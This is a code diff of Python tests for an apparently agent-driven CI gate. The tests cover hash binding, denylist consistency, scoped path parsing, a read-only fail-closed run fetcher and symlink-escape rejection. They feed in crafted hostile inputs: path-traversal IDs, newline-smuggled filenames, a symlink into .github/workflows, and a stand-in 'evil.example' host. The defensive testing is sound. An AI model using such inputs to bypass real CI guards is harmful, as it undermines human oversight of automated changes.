_GOOD = {
"GUARD_RESULT": "success",
"BUILD_TEST_RESULT": "success",
"DIFF_HASH": "abc",
"EXPECTED_DIFF_HASH": "abc",
"RUN_ID": "1",
}
def test_workflow_gate_passes_on_clean_bound_run(tmp_path: Path) -> None:
assert _run_gate(tmp_path, _GOOD) == 0
def test_workflow_gate_blocks_on_both_hashes_empty(tmp_path: Path) -> None:
# The empty-hash bug: '' == '' must NOT pass. Both empty -> BLOCK.
env = dict(_GOOD, DIFF_HASH="", EXPECTED_DIFF_HASH="")
assert _run_gate(tmp_path, env) == 1
def test_workflow_gate_blocks_on_empty_expected_hash(tmp_path: Path) -> None:
env = dict(_GOOD, EXPECTED_DIFF_HASH="")
assert _run_gate(tmp_path, env) == 1
def test_workflow_gate_blocks_on_empty_guard_hash(tmp_path: Path) -> None:
env = dict(_GOOD, DIFF_HASH="")
assert _run_gate(tmp_path, env) == 1
def test_workflow_gate_blocks_on_hash_mismatch(tmp_path: Path) -> None:
env = dict(_GOOD, DIFF_HASH="aaa", EXPECTED_DIFF_HASH="bbb")
assert _run_gate(tmp_path, env) == 1
# --------------------------------------------------------------------------- #
# INJ-03: the three trust-control denylists must be identical (no drift)
# --------------------------------------------------------------------------- #
def _extract_deny_globs_blocks() -> list[tuple[str, ...]]:
"""Extract every ``DENY_GLOBS: tuple[str, ...] = ( ... )`` tuple from the YAML.
The guard job and the post-build job each embed one inline copy. Returns the
parsed string tuples in file order (expected: exactly two).
"""
raw = _raw()
blocks: list[tuple[str, ...]] = []
for m in re.finditer(
r"DENY_GLOBS:\s*tuple\[str,\s*\.\.\.\]\s*=\s*\((?P<body>.*?)\)",
raw,
re.DOTALL,
):
body = m.group("body")
entries = re.findall(r'"([^"]*)"', body)
blocks.append(tuple(entries))
return blocks
def test_three_trust_control_denylists_are_identical() -> None:
from agent_team.ci_gate import DENYLIST_GLOBS
yaml_blocks = _extract_deny_globs_blocks()
assert len(yaml_blocks) == 2, (
f"expected exactly two inline YAML DENY_GLOBS (guard + post-build), "
f"found {len(yaml_blocks)}"
)
guard_globs, post_build_globs = yaml_blocks
# All three must be byte-for-byte identical (same entries, same order) so a
# future edit to one copy that drifts from the others fails CI (INJ-03).
assert guard_globs == post_build_globs == DENYLIST_GLOBS, (
"trust-control denylists have drifted:\n"
f" guard = {guard_globs}\n"
f" post-build = {post_build_globs}\n"
f" ci_gate = {DENYLIST_GLOBS}"
)
# --------------------------------------------------------------------------- #
# FIX-2 / INJ-02: robust NUL-delimited post-build denied-path parsing
# --------------------------------------------------------------------------- #
def _extract_post_build_script() -> str:
"""Pull the ``python3 - <<'PY' ... PY`` heredoc defining ``_status_paths``."""
lines = _raw().splitlines()
blocks: list[tuple[int, int]] = []
start = None
for i, line in enumerate(lines):
if start is None and line.strip() == "python3 - <<'PY'":
start = i + 1
elif start is not None and line.strip() == "PY":
blocks.append((start, i))
start = None
for s, e in blocks:
body = lines[s:e]
text = "\n".join(ln[10:] if ln.startswith(" " * 10) else ln for ln in body)
if "_status_paths" in text:
return text
raise AssertionError("post-build NUL-parse heredoc not found")
def _run_post_build(
tmp_path: Path,
*,
diff_z: bytes = b"",
status_z: bytes = b"",
scope: str = "src/**",
) -> int:
import os
script = tmp_path / "post_build.py"
script.write_text(_extract_post_build_script(), encoding="utf-8")
(tmp_path / "_build_diff_z.bin").write_bytes(diff_z)
(tmp_path / "_build_status_z.bin").write_bytes(status_z)
env = dict(os.environ, DECLARED_SCOPE=scope)
result = subprocess.run(
[sys.executable, str(script)],
env=env,
cwd=str(tmp_path),
capture_output=True,
text=True,
)
return result.returncode
def test_post_build_clean_when_no_writes(tmp_path: Path) -> None:
assert _run_post_build(tmp_path) == 0
def test_post_build_in_scope_untracked_is_clean(tmp_path: Path) -> None:
# `?? src/new.py\0`
status = b"?? src/new.py\x00"
assert _run_post_build(tmp_path, status_z=status, scope="src/**") == 0
def test_post_build_denied_path_via_status(tmp_path: Path) -> None:
# A build hook drops a workflow file: must be caught (denied).
status = b"?? .github/workflows/evil.yml\x00"
assert _run_post_build(tmp_path, status_z=status, scope="src/**\n.github/**") == 1
def test_post_build_filename_with_newline_is_caught(tmp_path: Path) -> None:
# The whole point of NUL parsing: a filename containing a NEWLINE that lands
# out of scope must still be caught, not split/mangled into a benign name.
status = b"?? src/ok.py\x00?? evil\nname.py\x00"
# 'evil\nname.py' is out of scope (src/**) -> violation.
assert _run_post_build(tmp_path, status_z=status, scope="src/**") == 1
def test_post_build_rename_source_field_is_parsed(tmp_path: Path) -> None:
# porcelain v1 -z rename: `R <new>\0<old>\0`. The SOURCE field is a separate
# record; a rename whose SOURCE is a denied path must be caught.
status = b"R src/new.py\x00.github/workflows/old.yml\x00"
assert _run_post_build(tmp_path, status_z=status, scope="src/**\n.github/**") == 1
def test_post_build_undecodable_path_fails_closed(tmp_path: Path) -> None:
# A path field that is not valid UTF-8 must be treated as a violation.
status = b"?? src/\xff\xfe.py\x00"
assert _run_post_build(tmp_path, status_z=status, scope="src/**") == 1
def test_post_build_diff_z_denied_path_is_caught(tmp_path: Path) -> None:
# The tracked-diff side (git diff -z --name-only) is parsed too.
diff = b"src/app.py\x00main.tf\x00"
assert _run_post_build(tmp_path, diff_z=diff, scope="src/**") == 1

View file

@ -0,0 +1,357 @@
"""Unit tests for agent_team.ci_fetcher — the read-only, fail-closed CI fetcher.
The fetcher is a pure DATA seam: on a clean authenticated run it returns the
``{run_id, conclusion, diff_hash}`` mapping the pure-code gate consumes; on ANY
error (404 / auth fail / malformed body / timeout / missing run_id / missing
token) it returns ``None`` so the gate BLOCKs (fail-closed). It NEVER derives a
verdict and NEVER writes. Everything is mocked with a fake HTTP client; no
network, no real token.
"""
from __future__ import annotations
import pytest
from agent_team.ci_fetcher import (
CI_READ_TOKEN_ENV,
build_ci_result_fetcher,
fetch_ci_result,
)
class _FakeResponse:
def __init__(self, status: int, body):
self.status_code = status
self._body = body
def json(self):
if isinstance(self._body, Exception):
raise self._body
return self._body
class _FakeClient:
"""A requests-like client recording calls; raises only write verbs if asked."""
def __init__(self, response=None, raise_exc=None):
self._response = response
self._raise = raise_exc
self.calls: list[tuple[str, dict]] = []
def get(self, url, *, timeout=None):
self.calls.append((url, {"timeout": timeout}))
if self._raise is not None:
raise self._raise
return self._response
# If the fetcher ever tried to write, these would record it — they must not
# be called (the fetcher is read-only).
def post(self, *a, **k): # pragma: no cover - must never be called
raise AssertionError("ci_fetcher must never POST")
def patch(self, *a, **k): # pragma: no cover - must never be called
raise AssertionError("ci_fetcher must never PATCH")
def _state(run_id="123", diff_hash="abc123"):
return {"run_id": run_id, "diff_hash": diff_hash}
# --------------------------------------------------------------------------- #
# Success path
# --------------------------------------------------------------------------- #
def test_success_returns_correct_mapping() -> None:
client = _FakeClient(
_FakeResponse(200, {"id": 123, "conclusion": "success", "status": "completed"})
)
out = fetch_ci_result(_state(), owner="o", repo="r", client=client)
assert out == {"run_id": "123", "conclusion": "success", "diff_hash": "abc123"}
# It hit the runs endpoint for the right run, read-only.
assert client.calls[0][0].endswith("/repos/o/r/actions/runs/123")
def test_failure_conclusion_is_echoed_not_judged() -> None:
# The fetcher returns the raw conclusion; it does NOT decide pass/fail.
client = _FakeClient(_FakeResponse(200, {"id": 5, "conclusion": "failure"}))
out = fetch_ci_result(_state(run_id="5"), owner="o", repo="r", client=client)
assert out is not None
assert out["conclusion"] == "failure" # echoed verbatim, no verdict derived
def test_diff_hash_echoed_from_state() -> None:
client = _FakeClient(_FakeResponse(200, {"id": 9, "conclusion": "success"}))
out = fetch_ci_result(
{"run_id": "9", "diff_hash": "DEADBEEF"}, owner="o", repo="r", client=client
)
assert out["diff_hash"] == "DEADBEEF"
def test_run_id_read_from_state_drives_url() -> None:
client = _FakeClient(_FakeResponse(200, {"id": 777, "conclusion": "success"}))
fetch_ci_result(_state(run_id="777"), owner="acme", repo="svc", client=client)
assert client.calls[0][0].endswith("/repos/acme/svc/actions/runs/777")
# --------------------------------------------------------------------------- #
# Fail-closed paths (every error -> None)
# --------------------------------------------------------------------------- #
def test_404_fails_closed() -> None:
client = _FakeClient(_FakeResponse(404, {"message": "Not Found"}))
assert fetch_ci_result(_state(), owner="o", repo="r", client=client) is None
def test_auth_fail_401_fails_closed() -> None:
client = _FakeClient(_FakeResponse(401, {"message": "Bad credentials"}))
assert fetch_ci_result(_state(), owner="o", repo="r", client=client) is None
def test_forbidden_403_fails_closed() -> None:
client = _FakeClient(_FakeResponse(403, {"message": "forbidden"}))
assert fetch_ci_result(_state(), owner="o", repo="r", client=client) is None
def test_malformed_body_fails_closed() -> None:
client = _FakeClient(_FakeResponse(200, ValueError("not json")))
assert fetch_ci_result(_state(), owner="o", repo="r", client=client) is None
def test_non_object_body_fails_closed() -> None:
client = _FakeClient(_FakeResponse(200, ["not", "a", "dict"]))
assert fetch_ci_result(_state(), owner="o", repo="r", client=client) is None
def test_missing_conclusion_fails_closed() -> None:
# In-progress run: conclusion is None -> not an authenticated verdict.
client = _FakeClient(_FakeResponse(200, {"id": 1, "conclusion": None}))
assert (
fetch_ci_result(_state(run_id="1"), owner="o", repo="r", client=client) is None
)
def test_timeout_fails_closed() -> None:
client = _FakeClient(raise_exc=TimeoutError("timed out"))
assert fetch_ci_result(_state(), owner="o", repo="r", client=client) is None
def test_connection_error_fails_closed() -> None:
client = _FakeClient(raise_exc=ConnectionError("refused"))
assert fetch_ci_result(_state(), owner="o", repo="r", client=client) is None
def test_missing_run_id_fails_closed() -> None:
client = _FakeClient(_FakeResponse(200, {"id": 1, "conclusion": "success"}))
assert (
fetch_ci_result({"diff_hash": "x"}, owner="o", repo="r", client=client) is None
)
# And it never even made a request.
assert client.calls == []
def test_empty_run_id_fails_closed() -> None:
client = _FakeClient(_FakeResponse(200, {"id": 1, "conclusion": "success"}))
assert (
fetch_ci_result(
{"run_id": "", "diff_hash": "x"}, owner="o", repo="r", client=client
)
is None
)
assert client.calls == []
# --------------------------------------------------------------------------- #
# Missing token (no injected client) -> fails closed (does NOT raise)
# --------------------------------------------------------------------------- #
def test_missing_token_fails_closed(monkeypatch: pytest.MonkeyPatch) -> None:
monkeypatch.delenv(CI_READ_TOKEN_ENV, raising=False)
monkeypatch.delenv("GITHUB_TOKEN", raising=False)
# No client injected -> it must resolve a token; none set -> None (no raise).
assert fetch_ci_result(_state(), owner="o", repo="r") is None
# --------------------------------------------------------------------------- #
# Read-only contract: never derives a verdict, never writes
# --------------------------------------------------------------------------- #
def test_fetcher_never_returns_a_verdict_field() -> None:
client = _FakeClient(_FakeResponse(200, {"id": 2, "conclusion": "failure"}))
out = fetch_ci_result(_state(run_id="2"), owner="o", repo="r", client=client)
assert out is not None
# The mapping is DATA only — there is no gate_decision / passed / verdict.
assert set(out.keys()) == {"run_id", "conclusion", "diff_hash"}
assert "passed" not in out
assert "gate_decision" not in out
def test_build_ci_result_fetcher_returns_state_callable() -> None:
client = _FakeClient(_FakeResponse(200, {"id": 3, "conclusion": "success"}))
fetcher = build_ci_result_fetcher(owner="o", repo="r", client=client)
out = fetcher({"run_id": "3", "diff_hash": "h"})
assert out == {"run_id": "3", "conclusion": "success", "diff_hash": "h"}
def test_build_ci_result_fetcher_fails_closed_on_error() -> None:
client = _FakeClient(_FakeResponse(500, {"message": "boom"}))
fetcher = build_ci_result_fetcher(owner="o", repo="r", client=client)
assert fetcher({"run_id": "3", "diff_hash": "h"}) is None
# --------------------------------------------------------------------------- #
# BLOCK-2: run_id validation (fail-closed; never reaches the URL)
# --------------------------------------------------------------------------- #
@pytest.mark.parametrize(
"bad_run_id",
[
"abc", # non-numeric
"12a", # mixed
"../runs/999", # path traversal
"1 2", # whitespace
"1" * 21, # too long (> 20 digits)
"-1", # sign
"0x10", # hex
],
)
def test_invalid_run_id_fails_closed(bad_run_id: str) -> None:
client = _FakeClient(_FakeResponse(200, {"id": 1, "conclusion": "success"}))
assert (
fetch_ci_result(
{"run_id": bad_run_id, "diff_hash": "x"},
owner="o",
repo="r",
client=client,
)
is None
)
# It never made a request: rejected before URL construction.
assert client.calls == []
def test_valid_numeric_run_id_is_accepted() -> None:
client = _FakeClient(_FakeResponse(200, {"id": 42, "conclusion": "success"}))
out = fetch_ci_result(_state(run_id="42"), owner="o", repo="r", client=client)
assert out is not None and out["run_id"] == "42"
# --------------------------------------------------------------------------- #
# BLOCK-3: owner/repo validation (fail-closed; never reaches the URL)
# --------------------------------------------------------------------------- #
@pytest.mark.parametrize(
"owner,repo",
[
("o/../x", "r"), # traversal in owner
("o", "r/runs/9"), # extra segments in repo
("o ", "r"), # whitespace
("o", ""), # empty repo
("", "r"), # empty owner
("o", "r#frag"), # url metachar
("o?", "r"), # query metachar
],
)
def test_invalid_owner_repo_fails_closed(owner: str, repo: str) -> None:
client = _FakeClient(_FakeResponse(200, {"id": 1, "conclusion": "success"}))
assert fetch_ci_result(_state(), owner=owner, repo=repo, client=client) is None
assert client.calls == []
def test_valid_owner_repo_with_dots_dashes_underscores() -> None:
client = _FakeClient(_FakeResponse(200, {"id": 1, "conclusion": "success"}))
out = fetch_ci_result(
_state(run_id="1"), owner="my-org.x", repo="repo_name.v2", client=client
)
assert out is not None
assert client.calls[0][0].endswith("/repos/my-org.x/repo_name.v2/actions/runs/1")
# --------------------------------------------------------------------------- #
# FIX-1: conclusion allowlist (unrecognised -> fail-closed)
# --------------------------------------------------------------------------- #
@pytest.mark.parametrize(
"conclusion",
[
"success",
"failure",
"cancelled",
"skipped",
"timed_out",
"action_required",
"neutral",
"stale",
"startup_failure",
],
)
def test_allowlisted_conclusions_pass(conclusion: str) -> None:
client = _FakeClient(_FakeResponse(200, {"id": 1, "conclusion": conclusion}))
out = fetch_ci_result(_state(run_id="1"), owner="o", repo="r", client=client)
assert out is not None and out["conclusion"] == conclusion
def test_conclusion_is_normalized_lowercase() -> None:
client = _FakeClient(_FakeResponse(200, {"id": 1, "conclusion": "SUCCESS"}))
out = fetch_ci_result(_state(run_id="1"), owner="o", repo="r", client=client)
assert out is not None and out["conclusion"] == "success"
@pytest.mark.parametrize("bad", ["bogus", "passed", "won", "", "in_progress"])
def test_unrecognised_conclusion_fails_closed(bad: str) -> None:
client = _FakeClient(_FakeResponse(200, {"id": 1, "conclusion": bad}))
assert (
fetch_ci_result(_state(run_id="1"), owner="o", repo="r", client=client) is None
)
# --------------------------------------------------------------------------- #
# FIX-5: fetched_id validation (no arbitrary-string laundering)
# --------------------------------------------------------------------------- #
def test_integer_fetched_id_is_used() -> None:
client = _FakeClient(_FakeResponse(200, {"id": 999, "conclusion": "success"}))
out = fetch_ci_result(_state(run_id="1"), owner="o", repo="r", client=client)
assert out is not None and out["run_id"] == "999"
def test_numeric_string_fetched_id_is_used() -> None:
client = _FakeClient(_FakeResponse(200, {"id": "888", "conclusion": "success"}))
out = fetch_ci_result(_state(run_id="1"), owner="o", repo="r", client=client)
assert out is not None and out["run_id"] == "888"
@pytest.mark.parametrize(
"bad_id",
["../evil", "abc", "9a", True, {"x": 1}, ["1"], 1.5],
)
def test_non_integer_fetched_id_falls_back_to_validated_run_id(bad_id) -> None:
client = _FakeClient(_FakeResponse(200, {"id": bad_id, "conclusion": "success"}))
out = fetch_ci_result(_state(run_id="7"), owner="o", repo="r", client=client)
# Falls back to the already-validated requested run_id, never laundering the id.
assert out is not None and out["run_id"] == "7"
def test_missing_fetched_id_falls_back_to_run_id() -> None:
client = _FakeClient(_FakeResponse(200, {"conclusion": "success"}))
out = fetch_ci_result(_state(run_id="55"), owner="o", repo="r", client=client)
assert out is not None and out["run_id"] == "55"
# --------------------------------------------------------------------------- #
# FIX-3: production builder does not accept a caller-overridable api_root
# --------------------------------------------------------------------------- #
def test_build_ci_result_fetcher_rejects_api_root_kwarg() -> None:
# The production builder must NOT expose api_root (so the host cannot be
# redirected from the coordinator/production wiring).
with pytest.raises(TypeError):
build_ci_result_fetcher(owner="o", repo="r", api_root="https://evil.example")

View file

@ -156,6 +156,21 @@ def test_hash_none_ledger_fails() -> None:
assert verify_diff_hash(diff, ledger_hash=None) is False assert verify_diff_hash(diff, ledger_hash=None) is False
def test_hash_empty_ledger_fails_closed() -> None:
# An EMPTY expected hash must never be treated as a match (empty != real
# sha). Fail-closed: there is nothing to bind to.
diff = _diff_for("a.py")
assert verify_diff_hash(diff, ledger_hash="") is False
def test_hash_empty_ci_verified_does_not_silently_pass() -> None:
# A real ledger hash but an EMPTY ci_verified hash must not match (the empty
# string is not the recomputed sha).
diff = _diff_for("a.py")
h = _ledger_hash(diff)
assert verify_diff_hash(diff, ledger_hash=h, ci_verified_hash="") is False
def test_hash_ci_verified_must_also_match() -> None: def test_hash_ci_verified_must_also_match() -> None:
diff = _diff_for("a.py") diff = _diff_for("a.py")
h = _ledger_hash(diff) h = _ledger_hash(diff)
@ -293,6 +308,34 @@ def test_gate_ignores_patch_written_success_field() -> None:
assert result.decision is GateDecision.FAIL assert result.decision is GateDecision.FAIL
def test_gate_blocks_on_empty_ledger_hash() -> None:
# Fail-closed: an empty ledger hash binds to nothing -> BLOCK, never a pass,
# even with an authenticated CI success.
diff = _diff_for("src/foo.py")
result = evaluate_ci_gate(
candidate_diff=diff,
ledger_hash="",
ci_result=_good_ci("run-1", diff, "success"),
expected_run_id="run-1",
)
assert result.decision is GateDecision.BLOCK
assert any("hash" in r for r in result.reasons)
def test_gate_blocks_on_empty_ci_diff_hash() -> None:
# An empty CI-verified diff_hash must not silently pass the integrity check.
diff = _diff_for("src/foo.py")
ci = _good_ci("run-1", diff, "success")
ci["diff_hash"] = ""
result = evaluate_ci_gate(
candidate_diff=diff,
ledger_hash=_ledger_hash(diff),
ci_result=ci,
expected_run_id="run-1",
)
assert result.decision is GateDecision.BLOCK
def test_gate_blocks_when_ci_diff_hash_mismatch() -> None: def test_gate_blocks_when_ci_diff_hash_mismatch() -> None:
# CI verified a different diff than the ledger recorded -> BLOCK. # CI verified a different diff than the ledger recorded -> BLOCK.
diff = _diff_for("src/foo.py") diff = _diff_for("src/foo.py")

View file

@ -84,6 +84,15 @@ SYMLINK = (
"diff --git a/src/link b/src/link\nnew file mode 120000\n" "diff --git a/src/link b/src/link\nnew file mode 120000\n"
"--- /dev/null\n+++ b/src/link\n@@ -0,0 +1 @@\n+../.github/workflows\n" "--- /dev/null\n+++ b/src/link\n@@ -0,0 +1 @@\n+../.github/workflows\n"
) )
# A diff that CHANGES an existing regular file into a symlink (mode 100644 ->
# 120000). The escape vector is the same: the link target redirects later writes
# into a denied path that textual matching cannot see. Must be rejected too.
SYMLINK_MODE_CHANGE = (
"diff --git a/src/existing b/src/existing\n"
"old mode 100644\nnew mode 120000\n"
"--- a/src/existing\n+++ b/src/existing\n@@ -1 +1 @@\n-regular contents\n"
"+../.github/workflows\n"
)
WORKFLOW_DELETE = ( WORKFLOW_DELETE = (
"diff --git a/.github/workflows/ci.yml b/.github/workflows/ci.yml\n" "diff --git a/.github/workflows/ci.yml b/.github/workflows/ci.yml\n"
"deleted file mode 100644\n--- a/.github/workflows/ci.yml\n+++ /dev/null\n" "deleted file mode 100644\n--- a/.github/workflows/ci.yml\n+++ /dev/null\n"
@ -123,6 +132,12 @@ def test_symlink_addition_is_rejected(guard_script: Path, tmp_path: Path) -> Non
assert _run_guard(guard_script, tmp_path, SYMLINK, "src/**") == 7 assert _run_guard(guard_script, tmp_path, SYMLINK, "src/**") == 7
def test_symlink_mode_change_is_rejected(guard_script: Path, tmp_path: Path) -> None:
# A regular file FLIPPED to a symlink (mode 120000) is the same escape vector
# and must also be rejected (exit 7), not just brand-new symlinks.
assert _run_guard(guard_script, tmp_path, SYMLINK_MODE_CHANGE, "src/**") == 7
def test_non_utf8_diff_fails_closed(guard_script: Path, tmp_path: Path) -> None: def test_non_utf8_diff_fails_closed(guard_script: Path, tmp_path: Path) -> None:
assert _run_guard(guard_script, tmp_path, NON_UTF8, "src/**") == 8 assert _run_guard(guard_script, tmp_path, NON_UTF8, "src/**") == 8

View file

@ -45,7 +45,7 @@ note_missing() { echo " [MISSING] $1 — not run. Install: $2" >&2; }
if command -v cfn-lint >/dev/null; then if command -v cfn-lint >/dev/null; then
# Prune generated/vendored trees (cdk.out, node_modules, …): scanning synthesized output is # Prune generated/vendored trees (cdk.out, node_modules, …): scanning synthesized output is
# wrong and, on CDK repos, explodes the arg list / stalls the scanners. # wrong and, on CDK repos, explodes the arg list / stalls the scanners.
TPLS="$(scope_paths | xargs -I{} find {} \( -type d \( -name cdk.out -o -name node_modules -o -name .git -o -name .aws-sam -o -name .venv -o -name venv -o -name dist -o -name build \) -prune \) -o \( -type f \( -name '*.yaml' -o -name '*.yml' \) -print \) 2>/dev/null \ TPLS="$(scope_paths | xargs -I{} find {} \( -type d \( -name cdk.out -o -name node_modules -o -name .git -o -name .claude -o -name .aws-sam -o -name .venv -o -name venv -o -name dist -o -name build \) -prune \) -o \( -type f \( -name '*.yaml' -o -name '*.yml' \) -print \) 2>/dev/null \
| xargs -I{} sh -c 'grep -lE "AWSTemplateFormatVersion|Transform: *AWS::Serverless" "{}" 2>/dev/null || true')" | xargs -I{} sh -c 'grep -lE "AWSTemplateFormatVersion|Transform: *AWS::Serverless" "{}" 2>/dev/null || true')"
if [ -n "$TPLS" ]; then if [ -n "$TPLS" ]; then
# shellcheck disable=SC2086 # shellcheck disable=SC2086
@ -69,7 +69,7 @@ SCOPE_PATHS="$(scope_paths)"
# --- semgrep (SAST: injection/authz/xss/secrets) --- # --- semgrep (SAST: injection/authz/xss/secrets) ---
if command -v semgrep >/dev/null; then if command -v semgrep >/dev/null; then
# shellcheck disable=SC2086 # shellcheck disable=SC2086
if SG="$(semgrep --config p/security-audit --config p/secrets --config p/javascript --json --metrics=off --exclude cdk.out --exclude node_modules --exclude .venv --exclude venv --exclude .aws-sam --exclude dist --exclude build $SCOPE_PATHS 2>/dev/null)"; then if SG="$(semgrep --config p/security-audit --config p/secrets --config p/javascript --json --metrics=off --exclude cdk.out --exclude node_modules --exclude .claude --exclude .venv --exclude venv --exclude .aws-sam --exclude dist --exclude build $SCOPE_PATHS 2>/dev/null)"; then
NORM="$(echo "$SG" | jq '[.results[] | { NORM="$(echo "$SG" | jq '[.results[] | {
id: ("semgrep-" + (.check_id|split(".")|last) + "-" + (.start.line|tostring)), id: ("semgrep-" + (.check_id|split(".")|last) + "-" + (.start.line|tostring)),
title: ((.check_id|split(".")|last) + ": " + ((.extra.message // "")[0:120])), title: ((.check_id|split(".")|last) + ": " + ((.extra.message // "")[0:120])),
@ -116,7 +116,7 @@ if command -v checkov >/dev/null; then
# scanning cdk.out/<stack>.template.json, which is the real deploy artifact # scanning cdk.out/<stack>.template.json, which is the real deploy artifact
# (dropping it would silence genuine S3/IAM IaC findings). asset is anchored to # (dropping it would silence genuine S3/IAM IaC findings). asset is anchored to
# cdk.out so a source file literally named asset.* is not also excluded. # cdk.out so a source file literally named asset.* is not also excluded.
if [ -d "$p" ]; then RAW="$(checkov -d "$p" --skip-path 'cdk\.out/asset\.' --skip-path node_modules --skip-path '\.venv' --skip-path venv --skip-path '\.aws-sam' --skip-path dist --skip-path build -o json --compact --quiet 2>/dev/null || true)" if [ -d "$p" ]; then RAW="$(checkov -d "$p" --skip-path 'cdk\.out/asset\.' --skip-path node_modules --skip-path '\.claude' --skip-path '\.venv' --skip-path venv --skip-path '\.aws-sam' --skip-path dist --skip-path build -o json --compact --quiet 2>/dev/null || true)"
else RAW="$(checkov -f "$p" -o json --compact --quiet 2>/dev/null || true)"; fi else RAW="$(checkov -f "$p" -o json --compact --quiet 2>/dev/null || true)"; fi
[ -z "$RAW" ] && continue [ -z "$RAW" ] && continue
FC="$(echo "$RAW" | jq '[ (if type=="array" then .[] else . end).results.failed_checks // [] ] | add // []' 2>/dev/null || echo '[]')" FC="$(echo "$RAW" | jq '[ (if type=="array" then .[] else . end).results.failed_checks // [] ] | add // []' 2>/dev/null || echo '[]')"